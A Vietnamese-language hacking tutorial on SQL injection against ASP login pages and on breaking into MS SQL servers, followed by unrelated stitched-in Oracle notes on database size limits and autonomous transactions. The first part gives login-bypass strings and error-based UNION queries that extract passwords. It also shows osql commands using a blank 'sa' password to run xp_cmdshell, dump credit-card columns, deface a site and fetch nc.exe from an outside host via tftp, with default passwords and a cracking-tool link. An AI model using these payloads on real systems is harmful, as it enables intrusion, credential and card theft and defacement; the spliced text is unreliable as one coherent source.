lỗi thông thường tạo ra bởi người thiết kế web có thể làm lộ thông tin về CSDL của server cho hacker. Toàn bộ mục đích của trò chơi là các chuỗi truy vấn. Người đọc coi như có kiến thức về các truy vấn và ngôn ngữ asp ( active server pages ). Thêm nữa là cách tấn công này thường chỉ cần dùng bằng 1 trình duyệt internet. Vì vậy bạn không cần bất cứ một tool nào ngoại trừ IE hay Netscape. Thông thường, để làm 1 trang đăng nhập, người thiết kế web sẽ viết 1 đoạn mã như sau: login.htm <html> <body> <form method=get action=”logincheck.asp”> <input type=”text” name=”login_name”> <input type=”text” name=”pass”> <input type=”submit” value=”sign in”> </form> </body> </html> File logincheck.asp nằm trên server dùng để kiểm tra thông tin do user nhập vào có nội dung: logincheck.asp <@language=”vbscript”> <% dim conn,rs,log,pwd log=Request.form(“login_name”) pwd=Request.form(“pass”) set conn = Server.CreateObject(“ADODB.Connection”) conn.ConnectionString=”provider=microsoft.jet.OLED B.4.0;data source=c:\folder\multiplex.mdb” conn.Open set rs = Server.CreateObject(“ADODB.Recordset”) rs.open “Select * from table1 where login=’”&log& “‘ and password=’” &pwd& “‘ “,conn If rs.EOF response.write(“Login failed”) else response.write(“Login successful”) End if %> Thoạt tiên đoạn code trên có vẻ ổn. 1 người dùng type username và pass trong trang login.htm và click ‘Submit’. Giá trị được type vào sẽ được browser chuyển về cho logincheck.asp kiểm tra bằng cách dùng câu truy vấn “Select * from table1 where login=’”&log& “‘ and password=’” &pwd& “‘ “. Mọi thứ có vẻ OK ? Chuỗi truy vấn cũng OK. Nhưng nếu 1 trang login được làm như thế thì 1 hacker sẽ có thể dễ dàng đăng nhập mà không cần một password hợp lệ nào đó. Nhìn lại chuỗi truy vấn: “Select * from table1 where login=’”&log& “‘ and password=’” &pwd& “‘ “ Nếu 1 user type tên đăng nhập là “hack” và mật khẩu là “passne” thì những giá trị này sẽ được chuyển cho trang asp với method “POST” và câu truy vấn trên trở thành: “Select * from table1 where login=’ hack’ and password=’ passne ‘ “ Tốt. Nếu như có 1 dòng chứ login name “hack” và password “passne” trong CSDL thì chúng ta sẽ nhận được thông báo đăng nhập thành công. Nhưng nếu như type loginname là “hack” và password là hi’ or ‘a’='a’ trong phần password ? Câu truy vấn sẽ trở thành: “Select * from table1 where login=’ hack’ and password=’ hi’ or ‘a’='a ‘ “ Click ‘Submit’ và Bingo, đăng nhập thành công. Chuỗi truy cập được thoả mãn khi điều kiện là password bằng ‘hi’ HOẶC ‘a’='a’. Điều này luôn đúng và hacker sẽ đăng nhập với nick ‘hack’. Có thể thử các chuỗi sau đây trong ô password nếu cách trên không làm được với một số website: hi” or “a”=”a hi” or 1=1 – hi’ or 1=1 – hi’ or ‘a’='a hi’) or (‘a’='a hi”) or (“a”=”a Dấu — được thêm vào làm cho phần còn lại của chuỗi truy vấn trở thành ‘chú thích’ nên các điều kiện khác sẽ không bị kiểm tra. Tương tự có thể dùng: hack’ – hack” – hoặc những username khác và chọn lựa password bất kỳ để có thể đăng nhập được. Bởi vì trong câu truy vấn chỉ có phần username được kiểm tra là ‘hack’ và phần còn lại bị bỏ đi do có dấu — . Nếu may mắn gặp được vào những website mà người thiết kế web đã mắc những lỗi trên, và bạn có thể login với bất kỳ username nào. Cách tấn công cao cấp hơn: dùng các thông báo lỗi của ODBC ————————————————————– Theo trên ta có thể thấy cách login mà không cần phải biết bất cứ 1 password nào. Dưới đây là cách để đọc toàn bộ CSDL chỉ bằng cách dùng các truy vấn trong URL. Cách này chỉ thực hiện được đối với IIS servers, nghĩa là với các trang asp. Và IIS được sử dụng trong gần 35% các ứng dụng thương mại web. Vì vậy chắc chắn bạn sẽ tìm ra 1 nạn nhân sau khi chỉ search một vài website. Thí dụ như: http://www.nosecurity.com/mypage.asp?id=45 trong URL, dấu ‘?’ cho thấy đằng sau nó, giá trị 45 sẽ được chuyển cho 1 thông số ẩn. Chúng ta hãy xem lại ví dụ trên, trang login.htm có 2 form input dạng text tên là ‘login_name’ và ‘pass’, và các giá trị của 2 form này sẽ được chuyển cho logincheck.asp Việc đăng nhập thành công cũng có thể thực hiện bằng cách mở trực tiếp trang logincheck.asp bằng cách dùng link:http://www.nosecurity.com/loginchec…ack&pass=passne nếu method là GET thay vì POST ( save html lại và sửa POST bằng GET ) Lưu ý: sự khác nhau giữa GET và POST là POST sẽ không hiện ra các giá trị được chuyển sang trang sau trên URL trong khi GET làm hiện lên các giá trị này. Để biết thêm về GET và POST nên đọc thêm RFC 1945 và 2616 trong giao thức HTTP Sau dấu ‘?’ thì các biến được dùng trong trang logincheck.asp sẽ được gán bằng giá trị hacker type vào. Trong URL trên thì login_name sẽ được gán với giá trị hack. Các giá trị khác nhau được ngăn cách bởi dấu ‘&’ Quay trở lại trang index.htm, biến id có thuộc tính ẩn và tuỳ theo những link người dùng click, giá trị của id sẽ thay đổi. Giá trị này sẽ được chuyển vào trong câu truy vấn mypage.asp và user sẽ được trả về trang mình muốn. Ứng với giá trị của ‘id’ là 46 sẽ có một trang khác. Chúng ta bắt đầu hack: type thêm vào trên URL câu truy vấn sau: http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES– information_schema.tables là một table hệ thống chứa thông tin về tất cả table của server. Trong đó có một field table_name chứa tất cả tên của các table. Chuỗi query SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES trả về giá trị là tên của table đầu tiên với kiểu string (nvarchar) trong INFORMATION_SCHEMA.TABLES, và chúng ta lại gộp nó 45 là một giá trị số. Vì vậy server sẽ thông báo lỗi: Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′ [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘logintable’ to a column of data type int. /mypage.asp, line Trong thông báo lỗi trên ta nhận được một table là ‘logintable’. Table này có thể chứa tên truy cập và password của các user. Tiếp tục type câu lệnh sau lên URL: http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’logintable’– Tương tự table_name, column_name cũng là 1 field trong table hệ thống INFORMATION_SCHEMA.COLUMNS chứa tất cả tên các column. Và ta đang gộp tên của column đầu tiên trong table ‘logintable’ với giá trị 45, nên sẽ có thông báo lỗi: Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′ [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_id’ to a column of data type int. /index.asp, line 5 Thông báo lỗi cho thấy column đầu tiên trong ‘logintable’ là ‘login_id’, để lấy tên của column thứ 2: http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’logintable’ WHERE COLUMN_NAME NOT IN (‘login_id’)– Output: Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′ [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘login_name’ to a column of data type int. /index.asp, line 5 Chúng ta có thêm 1 column nữa là ‘login_name’, tiếp tục lấy column thứ 3 http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=’logintable’ WHERE COLUMN_NAME NOT IN (‘login_id’,'login_name’)– Output: Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′ [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘passwd’ to a column of data type int. /index.asp, line 5 Đây là thông tin ta cần có: password login. Bước kế tiếp là lấy thông tin login và password từ table ‘logintable’, type; http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 login_name FROM logintable– Output: Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′ [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘Rahul’ to a column of data type int. /index.asp, line 5 Đây rồi: 1 trong những login name là ‘Rahul’, câu lệnh lấy password của user Rahul sẽ là: http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 password FROM logintable where login_name=’Rahul’– Output: Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07′ [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ‘P455w0rd’ to a column of data type int. /index.asp, line 5 OK, tên truy cập : Rahul và mật khẩu là p455w0rd. Ta đã crack được CSDL của www.nosecurity.com. Và điều này nhờ vào server đã không lọc dữ liệu truy vấn của người dùng. Lỗi SQL này vẫn còn gặp ở nhiều website, và phương pháp phòng chống tốt nhất là phân tích những request của user và lọc đi các ký tự như ‘, “, –, : …. Phần 2: dùng cổng 1434 ( cổng giao tiếp SQL ) —————————————————— Chúng ta đã thấy cách làm thế nào để xâm nhập vào CSDL bằng cách dùng các malformed URL và chỉ bằng cổng 80 ( cổng http ). Sau đây ta sẽ hack database dùng port 1434. Trước khi hack chúng ta nên biết thật sự các database server là gì và hoạt động như thế nào, cùng với cách khai thác chúng. Những người thiết kết MS SQL tạo ra một số thủ tục mặc định được lưu sẵn chung với sản phẩm của mình để giúp cho webdesigner linh động hơn. Các thủ tục này không có gì khác mà chính là các lớp hàm, được dùng để thực hiện những nhiệm vụ nào đó dựa trên các biến được truyền cho chúng. Chính những thủ tục này rất quan trọng đối với hacker, 1 số trong đó gồm: sp_passsword -> đổi password cho 1 tên truy cập (login name) nào đó VD: EXEC sp_password ‘oldpass’, ‘newpass’, ‘username’ sp_tables -> hiển thị tất cả table trong database hiện tại VD: EXEC sp_tables xp_cmdshell -> cho phép chạy câu lệnh bất kỳ lền server với quyền admin của database ( cái này quan trọng nhất, vì thông thường database được cài mặc định với quyền root ) xp_msver -> hiển thị version của SQL server và tất cả thông tin về HĐH được sử dụng. xp_regdeletekey -> xoá một key trong registry của windows xp_regdeletevalue -> xoá một giá trị trong registry xp_regread -> in 1 giá trị trong registry lên màn hình xp_regwrite -> gán 1 giá trị mới cho 1 key xp_terminate_process -> ngừng một process nào đó Đây là một số các lệnh quan trọng. Thật ra có hơn 50 loại thủ tục như thế. Nếu muốn database được an toàn thì điều nên làm là xoá tất cả những thủ tục đó đi bằng cách mở Master database dùng chương trình MS SQL Server Enterprise Manager. Mở folder Extended Stored Procedures và xoá các thủ tục lưu trong đó bằng cách nhấn chuột phải và chọn delete Lưu ý:”Master” là một database quan trọng của SQLchứa tất cả thông tin về hệ thống như là login name và các thủ tục có sẵn. Nếu 1 hacker xoá master database thì SQL server sẽ bị down vĩnh viễn. Ngoài “Master” db ra còn có “Syslogins” là table hệ thống mặc định chứ tất cả username và password để login vào db ( user của db khác user của ứng dụng web ). Điều nguy hiểm nhất trong MS SQL là MS SQL mặc định có một user là “sa” với password “” ( không có pass ) Tiếp theo là cách hack db. Đầu tiên ta cần tìm ra một server bị lỗi. Download 1 chương trình scan port và scan 1 dãy ip để tìm ip có port 1433 hoặc 1434 ( tcp hay udp ) mở. Đây là port dùng bởi MS SQL server. Ngoài ra port của Oracle server là 1512. VD như chúng ta tìm được một server có ip là 198.188.178.1, có rất nhiều cách để dùng các dịch vụ của SQL như là dùng telnet hoặc netcat tới port 1433/1434. Ngoài ra có thể dùng một tool tên là osql.exe được kèm theo với các SQL server 2000. Mở DOS prompt và type vào: Cosql.exe -? osql: unknown option ? usage: osql [-U login id] [-P password] [-S server] [-H hostname] [-E trusted connection] [-d use database name] [-l login timeout] [-t query timeout] [-h headers] [-s colseparator] [-w columnwidth] [-a packetsize] [-e echo input] [-I Enable Quoted Identifiers] [-L list servers] [-c cmdend] [-q "cmdline query"] [-Q "cmdline query" and exit] [-n remove numbering] [-m errorlevel] [-r msgs to stderr] [-V severitylevel] [-i inputfile] [-o outputfile] [-p print statistics] [-b On error batch abort] [-O use Old ISQL behavior disables the following] <EOF> batch processing Auto console width scaling Wide messages default errorlevel is -1 vs 1 [-? show syntax summary] Đây là help file cho osql. Tiếp tục: C:\> osql.exe –S 198.188.178.1 –U sa –P “” Nếu chung ta nhận được dấu nhắc 1> có nghĩa là login thành công, nếu không sẽ có thông báo lỗi login sai đối với user “sa” Tới đây nếu ta muốn chạy bất kỳ câu lệnh nào đó lên server, chỉ cần dùng thủ tục “xp_cmdshell” như sau: C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘dir >dir.txt’” Tôi khuyến khích việc dùng -Q thay vì -q bởi vì chúng ta sẽ exit khỏi server ngay sau khi câu lệnh được thực hiện. Tương tự ta có thể chạy bất cứ một câu lệnh nào lên server. Một hacker thông minh còn có thể install backdoor nhằm để tiếp tục access vào server sau này. Ta cũng có thể dùng “information_schema.tables” để lấy list các tables và nội dung của chúng bằng cách: C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select * from information_schema.tables” Kiếm thông tin login trong các table như login, accounts, users … C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select * from users” và lấy thông tin về username cùng với credit card. C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select username, creditcard, expdate from users” Output: Username creditcard expdate ———– ———— ———- Jack 5935023473209871 2004-10-03 00:00:00.000 Jill 5839203921948323 2004-07-02 00:00:00.000 Micheal 5732009850338493 2004-08-07 00:00:00.000 Ronak 5738203981300410 2004-03-02 00:00:00.000 Có thể deface website bằng cách chạy lệnh sau ( chỉ trong trường hợp database server được install chung với webserver ) C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘echo defaced by hack> C:\inetpub\wwwroot\index.html’” Upload file lên server dùng tftp: C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘tftp 203.192.16.12 GET nc.exe c:\nc.exe’” Để download một file nào đó ta có thể dùng lệnh PUT thay vì GET, bởi vì các câu lệnh này sẽ được thực hiện trên server chứ không fải ở máy chúng ta. Nếu ta dùng GET, câu lệnh sẽ thực hiện trên server và sẽ download nc.exe từ máy của chúng ta tới server. Tools dùng hack các SQL pass có rất nhiều trên web. Ngay cả lỗi tràn bộ đệm cũng có thể được dùng để điêu khiển hoàn toàn một hệ thống với quyền admin. Bài viết này chỉ đề cập một số vấn đề tổng quát về db server. • Remember the Sapphire worm? Which was released on 25th Jan. The worm which exploited three known vulnerabilities in the SQL servers using 1433/1434 UDP ports. Phương pháp phòng chống ————————— <*> Đổi password mặc định của user “sa” <*> Xoá tất cả các thủ tục được mặc định lưu trữ trên server <*> Lọc những ký tự như ‘,”,–,: … <*> Update SQL với những bản mới nhất <*> Khoá các port SQL bằng cách dùng firewall Một số website về SQL security” http://sqlsecurity.com/ http://www.cert.com/ Any comments and good criticism is always accepted at guatehack@linuxmail.org [End of Original Message] 1. Một số password default cho các super-user: Oracle sys: oracle mySQL (Windows) root:null MS SQL Server sa:null DB2 dlfm:ibmdb2 2. Collection các tool dùng cho SQL: SQLTools.zip ———> www.lebuudan.net/SQLTools.zip Bao gồm: SQLcracker + passlist + userlist SQLdos.exe SQLscanner.exe SQLping.exe and more. 3.OSQL.exe nằm trong bộ MSDE của microsoft, nhưng tới 64Mb lận, có ai cần thì tui upload lên. Hông thì thui, host nhỏ xíu hà. 4. ebook/text : ebook: http://www.hackersplayground.org/books.html text: http://www.hackersplayground.org/papers.html SQLinjection: http://www.hackersplayground.org/papers.html

Maximum Oracle Database Size.

(From http://arjudba.blogspot.com/2008/04/maximum-oracle-database-size.html)

An Oracle Database can be logically divided into tablespaces. Tablespaces can be two types named as 1) Smallfile Tablespace , 2) Bigfile Tablespace.

The traditional tablespace is referred to as a smallfile tablespace (SFT). A smallfile tablespace contains multiple, relatively small files.

A bigfile tablespace (BFT) is a tablespace containing a single file that can have a very large size.The BFT extended the maximum size of tablespace and database.

A SFT can contain 1022 datafile each of which can contain power(2,22) blocks. while a BFT can contain only one datafile which can contain power(2,32) blocks.

The maximum datafile size is calculated by,

maximum datafile size=db_blcok_size*maximum number of blocks.

In database db_block_size can have 2K, 4K,8K,16K,32K.

In a database there can have maximum 65533 data files.
So,

maximum database size=maximum datafile size*maximum datafile can be in a database.

If we consider highest database block (i.e 32K) then in SFT,

maximum datafile size=power(2,22)*32/1024/1024 G=128G.

So, if we use SFT then,

maximum database size= 128*65533 G=8388224 G;

Now consider about BFT.Here,

maximum datafile size=power(2,32)*32/1024/1024 G=131072 G.

and,

maximum database size=131072*65533 G=8589541376 G.

As you can see, with the new BFT addressing scheme, Oracle 10g can contain astronomical amounts of data within a single databas

Done!

AUTONOMOUS TRANSACTION

(From http://www.expertsharing.com/2008/03/13/autonomous-transaction/)

Until Oracle 8i any Oracle session can handle only a single transaction at any given point of time. If a transaction “A” is started, no other transaction can be executed until the transaction “A” is commited or Rollbacked. But by the Autonomous transaction feature provided by Oracle, another transaction “B” can be completed suspending the Transaction “A” and resuming it after the completion of transaction “B”.

Transaction “A” can be termed as main transaction. Transaction “B” can be termed as Autonomous transaction.

An Autonomous transaction is executed as independent and out of the scope of main transaction.An autonomous transaction is a transaction that is started with in context of another transaction. An autonomous transaction can be committed or rolled back regardless of the main transaction.

An Autonomous transaction has to be defined in a Pl/sql block other than the block where main transaction is executed. You can define any Pl/sql block like anonymous block, procedure, function, package procedure, package function, database trigger as an autonomous transaction.

To define a Pl/sql block as an autonomous transaction , you can use the statement below in the declaration section of a PL/SQL block.

PRAGMA AUTONOMOUS_TRANSACTION;

You can put the autonomous transaction pragma anywhere in the declaration section of PL/SQL block. The above PRAGMA directs the pl/sql compiler to consider this block as an AUTONOMOUS TRANSACTION block.

Application of Autonomous transaction:

1. Autonomous transaction can be used as a logging mechanism to log the transaction specific data.
2. Autonomous transaction can be used to record the transaction state for a successful transaction or a failed transaction.
3.To implement commit and rollback mechanisms in database triggers.
4.Autonomous transaction can be used to develop standalone units of work. So Autonomous transaction can be helpful in building reusable components or reusable Modules.

Rules and Restrictions of using Autonomous transaction:

1. Only top level anonymous blocks can be declared as Autonomous transaction.
An example of Nested anonymous block declared as Autonomous transaction giving an error.

2. A deadlock can occur whenever an autonomous transaction tries to access a resourced which is held by the main transaction.

Ex:

CREATE OR REPLACE PROCEDURE
update_salary (dept_in IN NUMBER)
IS
PRAGMA AUTONOMOUS_TRANSACTION;
CURSOR myemps IS
SELECT empno FROM emp
WHERE deptno = dept_in
FOR UPDATE NOWAIT;
BEGIN
FOR rec IN myemps
LOOP
UPDATE emp SET sal = sal * 2
WHERE empno = rec.empno;
END LOOP;
COMMIT;
END;
/
BEGIN
UPDATE emp SET sal = sal * 2;
update_salary (10);
END;
/

his results in the following error:

ERROR at line 1:
ORA-00054: resource busy and acquire with NOWAIT specified

3. You cannot declare an entire package as an Autonomous with Single Pragma.

CREATE OR REPLACE package exp3 as
PRAGMA AUTONOMOUS_TRANSACTION;
PROCEDURE X;
PROCEDURE Y;
END ;
/

4. Every Autonomous transaction should end with an either commit or ROLLBACK statements.If an autonomous block ends with out completing a transaction ORA-6519 is raised.

DECLARE
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
insert into tx_tab(num) values(2);
end;
/Error at line 1:

ORA-06519 : Active autonomous transaction detected and rolled back.

————More from PL/SQL best practice—————–

Doing Independent Units of Work with Autonomous Transactions
An autonomous transaction is an independent transaction started by another
transaction, the main transaction. Autonomous transactions do SQL operations and
commit or roll back, without committing or rolling back the main transaction. For
example, if you write auditing data to a log table, you want to commit the audit data
even if the operation you are auditing later fails; if something goes wrong recording
the audit data, you do not want the main operation to be rolled back.
Figure 6–1 shows how control flows from the main transaction (MT) to an
autonomous transaction (AT) and back again.
Figure 6–1 Transaction Control Flow

PROCEDURE proc1 IS
emp_id NUMBER;
BEGIN
emp_id := 7788;
INSERT … MT begins
SELECT …
proc2;
DELETE …
COMMIT; MT ends
END;
PROCEDURE proc2 IS
PRAGMA AUTON…
dept_id NUMBER;
BEGIN MT suspends
dept_id := 20;
UPDATE … AT begins
INSERT …
UPDATE …
COMMIT; AT ends
END; MT resumes
Advantages of Autonomous Transactions
Once started, an autonomous transaction is fully independent. It shares no locks,
resources, or commit-dependencies with the main transaction. You can log events,
increment retry counters, and so on, even if the main transaction rolls back.
More important, autonomous transactions help you build modular, reusable software
components. You can encapsulate autonomous transactions within stored procedures.
A calling application does not need to know whether operations done by that stored
procedure succeeded or failed.
Defining Autonomous Transactions
To define autonomous transactions, you use the pragma (compiler directive)
AUTONOMOUS_TRANSACTION. The pragma instructs the PL/SQL compiler to mark a
routine as autonomous (independent). In this context, the term routine includes
■ Top-level (not nested) anonymous PL/SQL blocks
■ Local, standalone, and packaged functions and procedures
■ Methods of a SQL object type
■ Database triggers
You can code the pragma anywhere in the declarative section of a routine. But, for
readability, code the pragma at the top of the section. The syntax follows:
PROCEDURE proc1 IS
emp_id NUMBER;
BEGIN
emp_id := 7788;
INSERT … MT begins
SELECT …
proc2;
DELETE …
COMMIT; MT ends
END;
PROCEDURE proc2 IS
PRAGMA AUTON…
dept_id NUMBER;
BEGIN MT suspends
dept_id := 20;
UPDATE … AT begins
INSERT …
UPDATE …
COMMIT; AT ends
END; MT resumes
Main Transaction Autonomous Transaction
Doing Independent Units of Work with Autonomous Transactions
6-36 PL/SQL User’s Guide and Reference
PRAGMA AUTONOMOUS_TRANSACTION;
In the following example, you mark a packaged function as autonomous:
CREATE PACKAGE banking AS
…
FUNCTION balance (acct_id INTEGER) RETURN REAL;
END banking;
CREATE PACKAGE BODY banking AS
…
FUNCTION balance (acct_id INTEGER) RETURN REAL IS
PRAGMA AUTONOMOUS_TRANSACTION;
my_bal REAL;
BEGIN
…
END;
END banking;
Restriction: You cannot use the pragma to mark all subprograms in a package (or all
methods in an object type) as autonomous. Only individual routines can be marked
autonomous.
The next example marks a standalone procedure as autonomous:
CREATE PROCEDURE close_account (acct_id INTEGER, OUT balance) AS
PRAGMA AUTONOMOUS_TRANSACTION;
my_bal REAL;
BEGIN … END;
The following example marks a PL/SQL block as autonomous:
DECLARE
PRAGMA AUTONOMOUS_TRANSACTION;
my_empno NUMBER(4);
BEGIN … END;
Restriction: You cannot mark a nested PL/SQL block as autonomous.
The example below marks a database trigger as autonomous. Unlike regular triggers,
autonomous triggers can contain transaction control statements such as COMMIT and
ROLLBACK.
CREATE TRIGGER parts_trigger
BEFORE INSERT ON parts FOR EACH ROW
DECLARE
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
INSERT INTO parts_log VALUES(:new.pnum, :new.pname);
COMMIT; — allowed only in autonomous triggers
END;
Comparison of Autonomous Transactions and Nested Transactions
Although an autonomous transaction is started by another transaction, it is not a
nested transaction:
■ It does not share transactional resources (such as locks) with the main transaction.
■ It does not depend on the main transaction. For example, if the main transaction
rolls back, nested transactions roll back, but autonomous transactions do not.
Doing Independent Units of Work with Autonomous Transactions
Performing SQL Operations from PL/SQL 6-37
■ Its committed changes are visible to other transactions immediately. (A nested
transaction’s committed changes are not visible to other transactions until the
main transaction commits.)
■ Exceptions raised in an autonomous transaction cause a transaction-level rollback,
not a statement-level rollback.
Transaction Context
The main transaction shares its context with nested routines, but not with autonomous
transactions. When one autonomous routine calls another (or itself recursively), the
routines share no transaction context. When an autonomous routine calls a
non-autonomous routine, the routines share the same transaction context.
Transaction Visibility
Changes made by an autonomous transaction become visible to other transactions
when the autonomous transaction commits. These changes become visible to the main
transaction when it resumes, if its isolation level is set to READ COMMITTED (the
default).
If you set the isolation level of the main transaction to SERIALIZABLE, changes made
by its autonomous transactions are not visible to the main transaction when it resumes:
SET TRANSACTION ISOLATION LEVEL SERIALIZABLE;
Controlling Autonomous Transactions
The first SQL statement in an autonomous routine begins a transaction. When one
transaction ends, the next SQL statement begins another transaction. All SQL
statements executed since the last commit or rollback make up the current transaction.
To control autonomous transactions, use the following statements, which apply only to
the current (active) transaction:
■ COMMIT
■ ROLLBACK [TO savepoint_name]
■ SAVEPOINT savepoint_name
■ SET TRANSACTION
Note: Transaction properties set in the main transaction apply only to that transaction,
not to its autonomous transactions, and vice versa.
Entering and Exiting
When you enter the executable section of an autonomous routine, the main transaction
suspends. When you exit the routine, the main transaction resumes.
To exit normally, you must explicitly commit or roll back all autonomous transactions.
If the routine (or any routine called by it) has pending transactions, an exception is
raised, and the pending transactions are rolled back.
Committing and Rolling Back
COMMIT and ROLLBACK end the active autonomous transaction but do not exit the
autonomous routine. When one transaction ends, the next SQL statement begins
another transaction. A single autonomous routine could contain several autonomous
transactions, if it issued several COMMIT statements.
Doing Independent Units of Work with Autonomous Transactions
6-38 PL/SQL User’s Guide and Reference
Using Savepoints
The scope of a savepoint is the transaction in which it is defined. Savepoints defined in
the main transaction are unrelated to savepoints defined in its autonomous
transactions. In fact, the main transaction and an autonomous transaction can use the
same savepoint names.
You can roll back only to savepoints marked in the current transaction. In an
autonomous transaction, you cannot roll back to a savepoint marked in the main
transaction. To do so, you must resume the main transaction by exiting the
autonomous routine.
When in the main transaction, rolling back to a savepoint marked before you started
an autonomous transaction does not roll back the autonomous transaction. Remember,
autonomous transactions are fully independent of the main transaction.
Avoiding Errors with Autonomous Transactions
To avoid some common errors, keep the following points in mind:
■ If an autonomous transaction attempts to access a resource held by the main
transaction, a deadlock can occur. Oracle raises an exception in the autonomous
transaction, which is rolled back if the exception goes unhandled.
■ The Oracle initialization parameter TRANSACTIONS specifies the maximum
number of concurrent transactions. That number might be exceeded because an
autonomous transaction runs concurrently with the main transaction.
■ If you try to exit an active autonomous transaction without committing or rolling
back, Oracle raises an exception. If the exception goes unhandled, the transaction
is rolled back.
Using Autonomous Triggers
Among other things, you can use database triggers to log events transparently.
Suppose you want to track all inserts into a table, even those that roll back. In the
example below, you use a trigger to insert duplicate rows into a shadow table. Because
it is autonomous, the trigger can commit changes to the shadow table whether or not
you commit changes to the main table.
– create a main table and its shadow table
CREATE TABLE parts (pnum NUMBER(4), pname VARCHAR2(15));
CREATE TABLE parts_log (pnum NUMBER(4), pname VARCHAR2(15));
– create an autonomous trigger that inserts into the
– shadow table before each insert into the main table
CREATE TRIGGER parts_trig
BEFORE INSERT ON parts FOR EACH ROW
DECLARE
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
INSERT INTO parts_log VALUES(:new.pnum, :new.pname);
COMMIT;
END;
– insert a row into the main table, and then commit the insert
INSERT INTO parts VALUES (1040, ‘Head Gasket’);
COMMIT;
– insert another row, but then roll back the insert
INSERT INTO parts VALUES (2075, ‘Oil Pan’);
Doing Independent Units of Work with Autonomous Transactions
Performing SQL Operations from PL/SQL 6-39
ROLLBACK;
– show that only committed inserts add rows to the main table
SELECT * FROM parts ORDER BY pnum;
PNUM PNAME
——- —————
1040 Head Gasket
– show that both committed and rolled-back inserts add rows
– to the shadow table
SELECT * FROM parts_log ORDER BY pnum;
PNUM PNAME
——- —————
1040 Head Gasket
2075 Oil Pan
Unlike regular triggers, autonomous triggers can execute DDL statements using native
dynamic SQL (discussed in Chapter 7, “Performing SQL Operations with Native
Dynamic SQL”). In the following example, trigger bonus_trig drops a temporary
database table after table bonus is updated:
CREATE TRIGGER bonus_trig
AFTER UPDATE ON bonus
DECLARE
PRAGMA AUTONOMOUS_TRANSACTION; — enables trigger to perform DDL
BEGIN
EXECUTE IMMEDIATE ‘DROP TABLE temp_bonus’;
END;
For more information about database triggers, see Oracle Database Application
Developer’s Guide – Fundamentals.
Calling Autonomous Functions from SQL
A function called from SQL statements must obey certain rules meant to control side
effects. (See “Controlling Side Effects of PL/SQL Subprograms” on page 8-22.) To check
for violations of the rules, you can use the pragma RESTRICT_REFERENCES. The
pragma asserts that a function does not read or write database tables or package
variables. (For more information, See Oracle Database Application Developer’s Guide -
Fundamentals.)
However, by definition, autonomous routines never violate the rules “read no database
state” (RNDS) and “write no database state” (WNDS) no matter what they do. This can be
useful, as the example below shows. When you call the packaged function log_msg
from a query, it inserts a message into database table debug_output without
violating the rule “write no database state.”
– create the debug table
CREATE TABLE debug_output (msg VARCHAR2(200));
– create the package spec
CREATE PACKAGE debugging AS
FUNCTION log_msg (msg VARCHAR2) RETURN VARCHAR2;
PRAGMA RESTRICT_REFERENCES(log_msg, WNDS, RNDS);
END debugging;
– create the package body
CREATE PACKAGE BODYq debugging AS
FUNCTION log_msg (msg VARCHAR2) RETURN VARCHAR2 IS
PRAGMA AUTONOMOUS_TRANSACTION;
Doing Independent Units of Work with Autonomous Transactions
6-40 PL/SQL User’s Guide and Reference
BEGIN
– the following insert does not violate the constraint
– WNDS because this is an autonomous routine
INSERT INTO debug_output VALUES (msg);
COMMIT;
RETURN msg;
END;
END debugging;
– call the packaged function from a query
DECLARE
my_empno NUMBER(4);
my_ename VARCHAR2(15);
BEGIN
…
SELECT debugging.log_msg(ename) INTO my_ename FROM emp
WHERE empno = my_empno;
– even if you roll back in this scope, the insert
– into ‘debug_output’ remains committed because
– it is part of an autonomous transaction
IF … THEN
ROLLBACK;
END IF;
END;

——————-From Metalink——————————-

"Checked for relevance on 08-Oct-2007" 

Introduction
------------

Oracle Support analysts are often asked whether it is possible to
commit to a given savepoint in the same way that one may roll back to
a savepoint.  The question usually stems from a desire to be able to
have some operation take place independently of the current
transaction, for instance to allow error messages written to a table
to be committed, but to roll back everything else that has taken place
prior to the error. 

With Oracle8i we have not introduced "commit to savepoint" as such
but have provided the ability to temporarily suspend the current
transaction and begin another.  This second transaction is known as
an autonomous transaction and, as the name suggests, runs
independently of its parent.  The autonomous or child transaction can
commit or rollback as applicable with the execution of the parent
transaction being resumed upon its completion.  The parent may then
perform further operations and commit or rollback without affecting
the outcome of any operations performed within the child. 

Thus, the introduction of autonomous transactions allows users to
more easily develop modular, reusable components.  Calling
applications no longer need to be aware of what components do
internally and the components themselves need no knowledge of which
operations an application has performed prior to calling, making
this feature of particular interest to Cartridge Developers. 

In fact, Oracle already uses similar functionality internally, known as
